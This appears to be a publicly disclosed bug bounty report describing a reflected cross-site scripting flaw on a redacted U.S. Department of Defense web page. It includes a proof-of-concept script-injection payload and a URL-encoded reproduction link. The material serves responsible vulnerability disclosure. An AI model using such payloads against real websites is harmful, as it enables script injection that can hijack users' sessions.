HexBrain

U.S. Dept Of Defense · Report #1143776

XSS Reflected on https://███ (███ parameter)

Validstatus
mediumseverity
1upvotes
29 Jul 2021disclosed

How it was found

Greetings, i've found an xss on https://█████ (██████████ parameter)

link : https://█████/████████?████████=%22%3E%3Cscript%3Ealert(/frenchvlad/);%3C/script%3E&██████████

Payload :

"><script>alert(/frenchvlad/);</script>

██████

best regards, frenchvlad

Impact

A reflected XSS vulnerability happens when the user input from a URL or POST data is reflected on the page without being stored, thus allowing the attacker to inject malicious content.

System Host(s)

██████████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

link : https://██████/████?████████=%22%3E%3Cscript%3Ealert(/frenchvlad/);%3C/script%3E&███████

Suggested Mitigation/Remediation Actions

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original